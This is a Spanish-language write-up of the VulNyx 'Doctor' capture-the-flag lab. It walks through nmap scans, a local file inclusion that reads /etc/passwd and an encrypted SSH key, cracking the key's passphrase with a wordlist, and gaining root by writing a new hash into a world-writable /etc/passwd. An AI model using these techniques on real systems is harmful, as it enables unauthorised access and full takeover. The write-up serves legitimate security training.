VulNyx - Doctor

logo

  • Local File Inclusion
  • Passphrase Cracking
  • Weak File Permissions

Escaneo de puertos

❯ nmap -p- -T5 -v -n 192.168.1.15

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 22,80 192.168.1.15

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 4495500be473a18511ca10ec1ccbd426 (RSA)
|   256 27db6ac73a9c5a0e47ba8d81ebd6d63c (ECDSA)
|_  256 e30756a92563d4ce3901c19ad9fede64 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-favicon: Unknown favicon MD5: 821018649C8FDAD8391C36FADCB793A5
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: Docmed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Después de mirar el menu de navegación entro en Doctors. docmed

En Doctors me llama la atencion el parámetro include porque muestra el contenido de Doctors.html.

doctors

Si cambio Doctors.html por /etc/passwd consigo leer el archivo passwd y veo que existe el usuario admin.

doctors_etcpasswd

Encuentro una llave rsa en el home de admin.

id_rsa

En la imagen anterior se puede observar que la llave rsa está encriptada.

Proc-Type: 4,ENCRYPTED

Si intento conectarme por SSH me pide un passphrase que no tengo.

❯ ssh admin@192.168.1.15 -i id_rsa
Enter passphrase for key 'id_rsa':

Para obtener el passphrase he usado esta herramienta RSAcrack

❯ ./RSAcrack.sh -w /usr/share/wordlists/rockyou.txt -k id_rsa

╭━━━┳━━━┳━━━╮          ╭╮  
┃╭━╮┃╭━╮┃╭━╮┃          ┃┃  
┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
-=========================-
[*] Cracking: id_rsa
[*] Wordlist: /usr/share/wordlists/rockyou.txt
[i] Status:
    1242/14344392/0%/u*****n                                  
[+] Password: u*****n Line: 1242

Una vez he conseguido el passphrase consigo conectarme al sistema.

❯ ssh admin@192.168.1.15 -i id_rsa
Enter passphrase for key 'id_rsa': 
Linux doctor 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
admin@doctor:~$ id
uid=1000(admin) gid=1000(admin) grupos=1000(admin),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

Privesc

Enumerando el directorio /etc encuentro el archivo passwd y este tiene permisos de lectura y escritura.

admin@doctor:~$ find /etc -writable 2>/dev/null
/etc/passwd
admin@doctor:~$ ls -la /etc/passwd
-rw----rw- 1 root root 1407 abr 22 02:00 /etc/passwd

Con openssl creo una contraseña.

admin@doctor:/tmp$ openssl passwd
Password: 
Verifying - Password: 
v1lqXvNcrNYhU

Edito el archivo /etc/passwd y cambio la x de root por la contraseña generada anteriormente.

root:v1lqXvNcrNYhU:0:0:root:/root:/bin/bash

Obtengo el root.

admin@doctor:~$ su root
Contraseña: 
root@doctor:/home/admin# id
uid=0(root) gid=0(root) grupos=0(root)

Y con esto ya tenemos resuelta la máquina Doctor.

Saludos!